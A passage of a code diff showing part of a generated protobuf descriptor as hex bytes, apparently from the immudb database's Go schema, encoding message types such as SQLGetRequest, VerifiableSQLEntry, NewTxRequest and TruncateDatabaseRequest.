0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, + 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, + 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, + 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, + 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, + 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, + 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, + 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, + 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, + 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, + 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, + 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, + 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, + 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, + 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, + 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, + 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, + 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, - 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, - 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, - 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, - 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, - 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, - 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, - 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, - 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, - 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, - 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, - 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, - 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 